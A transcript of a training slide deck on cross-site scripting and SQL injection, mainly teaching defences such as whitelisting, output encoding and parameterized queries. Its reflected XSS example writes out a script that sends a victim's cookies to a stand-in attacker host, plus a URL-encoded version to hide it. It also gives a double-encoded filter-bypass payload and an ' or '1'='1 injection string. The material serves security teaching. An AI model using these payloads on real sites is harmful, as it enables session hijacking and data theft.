XSS and SQL injectionx

Download Report

Transcript XSS and SQL injectionx

Cross Site Scripting &
SQL injection
Hakan Tolgay
[email protected]
15.01.2015
Input/Output handling - SOP
 SOP – Same Origin Policy
 SOP, is a security measure used in Web browser programming languages such as JavaScript and
Ajax to protect the confidentiality and integrity of information.
 Same Origin Policy prevents a web site's scripts from accessing and interacting with scripts used
on other sites.
 To do that
Protocol
Domain
name
Port
Input/Output handling - SOP
http://www.example.com.tr:80/anon/bad.js
http://www. example.com.tr/admin/page.aspx
https://www. example.com.tr/admin/page.aspx
http://example.tr/anon/page.aspx
http://example.tr:81/admin/page.aspx
Input/Output handling – Whats the problem
 The typical problem in web applications is mixing of data and the malicious code.
 Input fields of a web application can be exploited by hackers unless required checks are made.
 Input fields should not be seen as simple text boxes.
What is Javascript
 JavaScript is a programming language used to make web pages interactive.
 It runs on your visitor's computer and doesn't require constant downloads from website.
 JavaScript is often used to create polls and quizzes.
Cross Site Scripting (XSS) – Introduction
 XSS is a vulnerability that allows an attacker to run arbitrary JavaScript in the context of the
vulnerable website.
 Exploit in Javascript
 Is not depended on a specific platform or language
XSS – Introduction
 The target of XSS attack is other users.
 In the 3rd place of OWASP top 10 security risk list (OWASP top 10 2013 is available in the
training materials)
 Thus, basically
 Cross Site Scripting is when attackers use vulnerabilities in your web application to distribute malicious
scripts to other users (which then run other users web browsers)
Types of XSS
 Reflected XSS
 Link in other website or email
 Stored XSS
 Forum, bulletin board, feedback form
 DOM Based XSS
 PDF Adobe Reader , FLASH player
Reflected XSS
Reflected XSS
Say that the www.netas.com.tr welcome page is vulnerable to a XSSS attack since a welcome message can
be displayed on the welcome page with the user's name passed as a parameter:
 http://www.netas.com.tr/?nom=Hakan
 Pass the following Javascript code as the name parameter, in order to redirect the user to a page atacker
controls
 <SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
 The above code retrieves the user's cookies and sends them as parameters to a CGI script. The following
code passed as a parameter would be too visible:
 http://www.netas.com.tr/?nom=<SCRIPT>document.location ='http://site.pirate/cgibin/script.cgi?'+document.cookie</SCRIPT>
However, coding the URL makes it possible to disguise the attack:
 http://www.netas.com.tr/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e
Reflected XSS
Reflected XSS – DEMO
Stored XSS
JavaScript supplied by the attacker is stored by the website (e.g. in a database)
Doesn’t require the victim to supply the JavaScript somehow, just visit the exploited web page
More dangerous than Reflected XSS
Stored XSS – DEMO
XSS – What can you do with JavaScript
 Pop-up alerts and prompts
 Access cookies/session tokens
 Detect installed programs
 Detect browser history
 Capture keystrokes (and other trojan functionality)
 Port scan the local network
 Redirect to a different web site
 Determine if they are logged on to a particular site
 Capture clipboard content
 Detect if the browser is being run in a virtual machine
 Rewrite the status bar
 Exploit browser vulnerabilities
 Launch executable files (in some cases)
XSS - Defense
 What can be done?
Defense - Blacklisting approach
 Blacklist has items which shouldn’t have
 Is fast to set up, but can be bypassed more easily by a skilled attacker.
Do not use "blacklist" validation to detect XSS in input or to encode output.
 Searching for and replacing just a few characters ("<" ">" and other similar characters or phrases such as
“script”) is weak and has been attacked successfully.
 Even an unchecked “<b>” tag is unsafe in some contexts. XSS has a surprising number of variants that
make it easy to bypass blacklist validation.
Defense - Whitelisting approach
Whitelist has items which should have
Whitelisting allows for a much stronger security solution than blacklisting but comes with a
steep learning curve. Once mastered, though, whitelisting is very effective at stopping XSS
attacks.
Defense - Encoding/Decoding
 Encoding variable output substitutes HTML markup with alternate representations called
entities
 By using double encoding it’s possible to bypass security filters that only decode user input
once.
Encoding Demo
Defense - Encoding/Decoding - Example
 <script>alert('XSS')</script>
 Web application can have a character filter which prohibits characters such as “< “, “>” and “/”,
since they are used to perform web application attacks.
 The attacker could use a double encoding technique to bypass the filter and exploit the client’s
session. The encoding process for this Java script is:
Finally, the malicious double encoding code is:
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
Defense
 Never Insert Untrusted Data Except in Allowed Locations in OWASP XSS prevention list rules
 Check https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
What is SQL
Structured Query Language
A Language designed for managing data held in databases
 Examples:
 SELECT * FROM usersTable WHERE uname = ‘hakan’
 SELECT isbn, title, price FROM Book WHERE price > 100.00 ORDER BY title;
What is SQL – more example
SELECT Name, Surnamme FROM Custome WHERE Age > 30;
Customer
Result Set
Name
Surname
Age
Sex
Lisa
Becker
37
F
Erwin
Visser
31
M
Lara
Martini
24
F
Alan
Newman
29
M
SQL Injection
 Sending parameters directly from application to the database server can cause unauthorized
queries.
 #1 at top 10 security risk list
SQL Injection
 statement = "SELECT * FROM users WHERE name ='" + userName + "';
 ' or '1'='1
 SELECT * FROM users WHERE name = '' OR '1'='1';
SQL Injection – DEMO
SQL Injection – Defense
Use parameterized queries
 For Java use PreparedStatement
 For c# use Parameters.Add
Check OWASP SQL injection cheat sheet
 https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Thank You